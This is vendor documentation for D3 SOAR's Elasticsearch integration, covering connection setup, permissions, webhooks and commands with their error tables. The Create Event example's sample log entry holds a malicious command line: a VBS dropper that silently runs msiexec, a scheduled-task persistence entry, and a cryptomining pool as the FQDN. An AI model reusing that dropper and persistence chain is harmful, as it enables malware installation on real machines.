Elasticsearch

LAST UPDATED: OCTOBER 30, 2025

Overview

Elasticsearch aggregates and stores data/logs for monitoring and analysis. Predefined queries in Elasticsearch can escalate generated alerts to D3 for investigation of possible security concerns.

D3 SOAR is providing REST operations to function with Elasticsearch.

Elasticsearch is available for use in:

D3 SOAR	V12.7.83.0+
Category	SIEM
Deployment Options	Option I, Option III

Known limitations

App Search enforces default limits on certain objects and API requests. The table below outlines query-level limits that affect API request construction.

Standard	Defaults
Queries Per Request	10 queries per request
Query Length	128 characters [configurable in 7.7+]
Result Pages	100 pages
Results Per Page	1000 results
Results Per Query	10,000 results
Snippet Result Text Field Size	1000 characters
Raw Result Text Field Size	1000 characters
Facets	250 facets [configurable in 7.7+]
Filters	32 filters
Filter Array Items	1024 array items
Filter Nesting Levels	5 levels
Sorting Fields	10 fields
Grouping Fields	10 fields
Analytics Tags Per Request	16 per request [configurable in 7.7+]
Analytics Tag Length	64 characters

App Search hosted on swiftype.com has additional limitations. Refer to Limits from Elastic’s documentation for details.

Connection

To connect to Elasticsearch from D3 SOAR, follow this part to collect the required information below:

Parameter	Description	Example
Server URL	The URL of the ElasticSearch server.	http://192.*..:**
User Name	The user name for authentication.	ki********n
Password	The password for authentication.	D3*******

Permission Requirements

Each endpoint in the Elasticsearch API requires a certain permission scope. The following are required scopes for the commands in this integration:

READER NOTE

To indicate a user API key, grant the manage_api_key cluster privilege. D3 does not currently require an API key input, but this option can still be enabled when necessary.

The authenticated user will always be the owner of any newly created API key.
With the manage_api_key cluster privilege, users can invalidate their own API keys and those owned by other users.

Command	Required Permission
Create Event	Index privileges: create_index + create_doc
Create Index	Index privileges: create_index
Fetch Event	Build-in Role: viewer
Get Index Mapping	Build-in Role: viewer
List Indices	Cluster privileges: monitor + Index privileges: monitor
Query	Build-in Role: viewer
Simple Query	Build-in Role: viewer
Test Connection	Build-in Role: viewer

Configuring Elasticsearch to Work with D3 SOAR

Log into the Elasticsearch platform.

READER NOTE*

Refer to Elasticsearch’s Quick Start Guide for information on managing a service.

Click the hamburger menu to reveal the sidebar, then select Stack Management under Management.
Select Security > Users, then click Create user.
Input the Username and Password. Choose the Roles to grant to the user. Click Create User.
(Optional) Follow the steps below to create a custom role if the desired role is not available in the built-in role list.
1. Select Security > Roles, then click Create role.
2. Name the role, select Cluster privileges and Index privileges as desired, then click Create role.
  To use index privileges, input * in the indices section.
3. Return to Users and find the recently created user. Assign them the custom role using the Roles dropdown menu. Click Update user.

Configuring D3 SOAR to Work with Elasticsearch

Log in to D3 SOAR.
Find the Elasticsearch integration.
1. Navigate to Configuration on the top header menu.
2. Click on the Integration icon on the left sidebar.
3. Type Elasticsearch in the search box to find the integration, then click it to select it.
4. Click New Connection, on the right side of the Connections section. A new connection window will appear.
Configure the following fields to create a connection to Elasticsearch.
1. Connection Name: The desired name for the connection.
2. Site: The site on which to use the integration connection. Use the drop-down menu to select the site. The Share to Internal Sites option enables all internal sites to use the connection. Selecting a specific site will only enable that site to use the connection.
3. Recipient site for events from connections Shared to Internal Sites: This field is displayed when Share to Internal Sites is selected for the Site field, allowing selection of the internal site for deploying the integration connection.
4. Agent Name (Optional): The proxy agent required to build the connection. Use the dropdown menu to select the proxy agent from a list of previously configured proxy agents.
5. Description (Optional): The description for the connection.
6. Tenant (Optional): When configuring the connection from a master tenant site, users can choose the specific tenant sites with which to share the connection. Once this setting is enabled, users can filter and select the desired tenant sites from the dropdowns to share the connection.
7. Configure User Permissions: Defines which users have access to the connection.
8. Active: The checkbox that enables the connection to be used when selected.
9. System: This section contains the parameters defined specifically for the integration. These parameters must be configured to create the integration connection.
  1. Input the domain level Server URL.
  2. Input the User Name.
  3. Input the Password.
10. Connection Health Check: Periodically checks the connection status by scheduling the Test Connection command at the specified interval (in minutes). Available only for active connections, this feature also allows configuring email notifications for failed attempts.
11. Enable Password Vault: An optional feature that allows users to take the stored credentials from their own password vault. Refer to the password vault connection guide if needed.
Test the connection.
1. Click on the Test Connection button to verify credentials and connectivity. A success alert displays Passed with a green checkmark. If the connection fails, review the parameters and retry.
2. Click OK to close the alert window.
3. Click + Add to create and add the configured connection.

Configuring D3 Webhook with Elasticsearch

D3 SOAR Webhook Configuration

Refer to Event/Incident Intake to configure a D3 webhook.

Elasticsearch Configuration

Click the hamburger menu to reveal the sidebar, then select Stack Management under Management.
Navigate to Alerts and Insights > Rules and Connectors.
Select Connectors, then click Create Connector.
Choose Webhook.
The Webhook connector requires an Elasticsearch Gold license. Verify the current license to ensure access to this connector.
Input the D3 request URL into the URL field. Enable the Add HTTP Header option, then input the D3 Request Header Key and Value in the corresponding fields. Click Add, then save.
(Optional) Run a test to verify that the webhook has been configured correctly.

Commands

Elasticsearch includes the following executable commands for users to set up schedules or create playbook workflows. With the Test Command, users can execute these commands independently for playbook troubleshooting.

Integration API Note

For more information about the Elasticsearch API, refer to the Elasticsearch API reference.

READER NOTE

Certain permissions are required for each command. Refer to the Permission Requirements and Configuring Elasticsearch to Work with D3 SOAR for details.

Integration Designed Query

Some commands (Fetch Event, Query, and Simple Query) require structured input arguments in Elasticsearch designed query formats.
By default, Elasticsearch sorts matching search results by relevance score, which measures how well each document matches a query. The relevance score is a positive floating-point number, returned in the _score metadata field of the search API. The higher the _score, the more relevant the document.
While each query type can calculate relevance scores differently, score calculation also depends on whether the query clause is run in a query or filter context.
Query clause measures whether the document matches the query input and calculates a relative score. No relative score will be calculated by using Filter clause.

Refer to Query and Filter Context from Elasticsearch’s documentation for details.

Note for Time-related parameters

The input format of time-related parameters may vary based on user account settings, which may cause the sample data in commands to differ from what is displayed. To adjust the time format, follow these steps:

Navigate to Configuration > Application Settings. Select Date/Time Format.
Choose the desired date and time format, then click on the Save button.

The selected time format will now be visible when configuring Date/Time command input parameters.

Create Event

Creates a new event in the specified index.

READER NOTE

Index Name is a required parameter to run this command.

Run the List Indices command to obtain Index Name. Index Name can be found in the returned raw data at the path $[*].index.

Note:

If the input Event ID already exists, no new event will be created and the existing event will be updated.
If the Event Object includes an Event ID field, its value must match the value entered in the Event ID field. Otherwise, the value entered in the Event ID field will be ignored.

Input

Input Parameter	Required/Optional	Description	Example
Index Name	Required	The name of the index to which the event is added.	eventlogs1216g
Event ID	Optional	The ID of the event to be created. If not specified, the system will create an event ID.	*****
Event Object	Required	The JSON object of the event to be created.	JSON { "utcTime": "05/02/2020 10:02 AM", "timestamp": "2021-12-16T19:55:00.776Z", "FQDN": "xmr.pool.minergate.com", "hostname": "***", "processGuid": "{5857*8512}", "processId": *, "image": "C:\\Windows\\System32\\cmd.exe", "fileVersion": "6.3.9600.17396 (winblue_r4.141007-2030)", "description": "Windows Command Processor", "product": "Microsoft® Windows® Operating System", "company": "Microsoft Corporation", "commandLine": "cmd /c set /p=Set v=CreateObject(^\"Wscript.Shell^\"):v.Run ^\"msiexec /q /i .../ud^\",false,0 C:\\Windows\\System32\\spool\\drivers\\color\\tmp.vbs & schtasks /create /sc MINUTE /tn \"Windows System\" /tr \"C:\\Windows\\System33\\spool\\drivers\\color\tmp2.vbs\" /mo 2 /F", "user": "sysint", "logonGuid": "{5857*1200}", "logonID": "*", "terminalSessionID": "*", "integrityLevel": "High", "parentProcessGuid": "{5857*F111}", "parentProcessId": ***, "parentImage": "C:\\Program (x86)\\Microsoft Office\\root\\office16\\EXCEL.exe", "parentCommandLine": "C:\\Program (x86)\\Microsoft Office\\root\\office16\\EXCEL.exe E:\\temp\\2019_Q5_Budget.xls" }

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Create Event failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 401.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Unable to authenticate user.

Error Sample Data

Create Event failed.

Status Code: 401.

Message: Unable to authenticate user.

Create Index

Creates a new index to an Elasticsearch cluster. Please refer to Create index API | Elasticsearch Guide [8.3] | Elastic for more on index objects.

Input

Input Parameter	Required/Optional	Description	Example
Index Name	Required	The name of the index to be created	eventlogs1216d
Index Aliases	Optional	The aliases of the index to be created	JSON `{ "Alias-x86_64": { "filter": { "term": { "architecture": "x86_64" } }, "routing": "shard-1" } }`
Index Settings	Optional	The configuration options for the index	JSON `{ "number_of_shards": 1, "number_of_replicas": 1 }`
Index Mappings	Optional	The mapping for fields in the index.	JSON `{ "properties": { "timestamp": { "type": "date" } } }`

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Create Index failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 400.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Index already exists.

Error Sample Data

Create Index failed.

Status Code: 400.

Message: Index already exists.

Fetch Event

Retrieves events from the platform that match the specified criteria.

READER NOTE

Index is a required parameter to run this command.

Run the List Indices command to obtain the Index. Index is referring to the index name. Index names can be found in the returned raw data at the path $[*].index.

Input

Input Parameter	Required/Optional	Description	Example
Start Time	Required	Sets the Start Time (UTC Time) of the time range for fetching Event(s).	2021-12-15 00:00
End Time	Required	Sets the End Time (UTC Time) of the time range for fetching Event(s).	2022-03-30 00:00
Top Recent Event Number	Optional	The maximum number of events to return. The default value of this field is 20. The maximum number to return is 10000.	20
Index	Required	Specifies the name of the index to search. The index name can be obtained from the List Indices command. If not specified, events of any index will be returned.	.ds-logs-crowdstrike.falcon-default-2024.01.10-000001
Search Condition	Optional	Define your filters using Elasticsearch Query DSL in a JSON object and optionally include a sort array to control ordering (the timestamp field used for sorting can be obtained via the “Get Index Mapping” command). Results are always constrained by the Start Time/End Time you pass; to avoid conflicts, do not include a range on any time field. Range on 'event.ingested' inside query will be removed. If you provide sort, it’s used as-is (e.g., [{"@timestamp":"desc"}]); if you omit it, the default window is applied on event.ingested and results are sorted by @timestamp descending. The limit parameter maps to Elasticsearch’s size. For syntax details, see Elasticsearch’s “Query and filter context” guide: Query DSL.	JSON `{ "query": { "bool": { "must": [ { "match": { "source_node.host": "*..." } }, { "match": { "source_node.name": "****" } } ] } }, "sort": [ { "@timestamp": "desc" } ] }`

Output

To view the sample output data for all commands, refer to this article.

Fetch Event Field Mapping

The Elasticsearch system integration includes pre-configured field mappings for the default event source.

The Default Event Source is the default system-provided set of field mappings applied when the fetch event command is executed. It includes a Main Event JSON Path, which is the JSONPath expression that points to the base array of event objects. The source field path continues from this array to locate the required data.

The Main Event JSON Path can be viewed by clicking on the Edit Event Source button.

Main Event JSON Path: $.hits.hits
The hits.hits array contains the event objects. Within each event object, the key _id denotes the Unique Event Key field. As such, the full JSONPath expression to extract the Unique Event Key is $.hits.hits._id.

Field Name	Source Field
Unique Event Key	._id
Event Type	._source.event.type
Index	._index
Score	._score
Start Time	._source.@timestamp
Description	._source.description
Event Action	._source.event.action

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Fetch Event Failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 404.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Index Not Found.

Error Sample Data

Fetch Event Failed.

Status Code: 403.

Message: Index Not Found.

Get Index Mapping

Retrieves mapping definitions for the specified index.

READER NOTE

Index is a required parameter to run this command.

Run the List Indices command to obtain the Index. Index is referring to the index name. Index names can be found in the returned raw data at the path $[*].index.

Input

Input Parameter	Required/Optional	Description	Example
Index	Required	The name of the index to search. The index name can be obtained using the List Indices command	.monitoring-*--**..05

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Get Index Mapping failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 404.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Index Not Found, no such Index.

Error Sample Data

Get Index Mapping failed.

Status Code: 404.

Message: Index Not Found, no such Index.

List Indices

Returns high-level information about indices in a cluster, including backing indices for data streams.

Input

N/A

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	List Indices failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 401.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Unable to authenticate user.

Error Sample Data

List Indices failed.

Status Code: 401.

Message: Unable to authenticate user.

Query

Retrieves results with query and index.

READER NOTE

Index is a required parameter to run this command.

Run the List Indices command to obtain the Index. Index is referring to the index name. Index names can be found in the returned raw data at the path $[*].index.

Input

Input Parameter	Required/Optional	Description	Example
Index	Required	The index for the query (e.g. "logstash-"). The index name can be obtained from the List Indices* command.	ev*****gs
Query	Required	The filters in JSON format. For more about the query syntax, please refer to Query and filter context \| Elasticsearch Guide [8.3] \| Elastic.	JSON `{ "query": { "range": { "utcTime": { "gte": "2019-01-01", "lte": "2020-11-01" } } }, "size": 10, "sort": [ { "timestamp": { "order": "desc" } } ] }`
Output Fields	Optional	The field list to parse search result details in hints[*]._source.	JSON `[ "eventId", "utcTime", "FQDN", "hostname", "processGuid", "processId", "description", "product", "company", "commandLine", "user", "integrityLevel", "parentCommandLine", "timestamp" ]`
Size	Optional	The number of results to return. When the input has no value or is not a positive number, the default value 10 will be used.	3
Offset	Optional	The number of items to skip before starting to collect the result set. When the input has no value or is not a positive number, the default value 0 will be used.	3

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Query failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 404.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Index Not Found, no such Index.

Error Sample Data

Query failed.

Status Code: 404.

Message: Index Not Found, no such index.

Simple Query

Returns results based on a provided query string, using a parser with a limited but fault-tolerant syntax. It ignores any invalid parts of the query string.

READER NOTE

Index is an optional parameter to run this command.

Run the List Indices command to obtain the Index. Index is referring to the index name. Index names can be found in the returned raw data at the path $[*].index.

Input

Input Parameter	Required/Optional	Description	Example
Index	Optional	Specifies the name of the index to search. The index name can be obtained from the List Indices command	.monitoring-*--**..05
Query	Optional	The query string to search. For more about the simple query string syntax,refer to Simple query string query \| Elasticsearch Guide [8.3] \| Elastic.	John \| Tom
Limit	Optional	The number of hits to return. The default value of this field is 10.	10

Output

To view the sample output data for all commands, refer to this article.

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Simple Query failed.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 404.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Index Not Found, no such Index.

Error Sample Data

Simple Query failed.

Status Code: 404.

Message: Index Not Found, no such Index.

Test Connection

Allows you to perform a health check on an integration connection. You can schedule a periodic health check by selecting Connection Health Check when editing an integration connection.

Input

N/A

Output

Output Type

Description

Return Data Type

Return Data

Indicates one of the possible command execution states: Successful or Failed.

The Failed state can be triggered by any of the following errors:

A connection issue with the integration
The API returned an error message
No response from the API

More details about an error can be viewed in the Error tab.

String

Error Handling

If the Return Data is Failed, an Error tab will appear in the Test Result window.

The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help locate the root cause of a command failure.

Parts in Error	Description	Example
Failure Indicator	Indicates the command failure that happened at a specific input and/or API call.	Test Connection failed. Failed to check the connector.
Status Code	The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Elasticsearch portal. Refer to the HTTP Status Code Registry for details.	Status Code: 403.
Message	The raw data or captured key error message from the integration API server about the API request failure.	Message: Unable to authenticate user.

Error Sample Data

Test Connection failed. Failed to check the connector.

Status Code: 401.

Message: Unable to authenticate user